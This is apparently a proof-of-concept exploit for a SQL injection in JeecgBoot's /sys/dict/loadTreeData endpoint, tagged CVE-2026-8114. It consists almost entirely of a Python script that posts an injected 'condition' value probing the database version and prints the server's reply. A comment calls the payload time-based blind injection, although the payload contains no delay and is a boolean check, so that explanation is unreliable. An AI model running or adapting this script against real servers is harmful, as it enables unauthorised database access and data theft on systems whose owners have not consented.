CVE-2026-8114 JeecgBoot SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/jeecg-boot/sys/dict/loadTreeData" # Malicious payload for 'condition' argument # This payload attempts to perform a time-based blind SQL injection payload = { "condition": "1' AND (SELECT SUBSTRING(version(),1,1))='5'-- " } try: # Send POST request response = requests.post(target_url, json=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")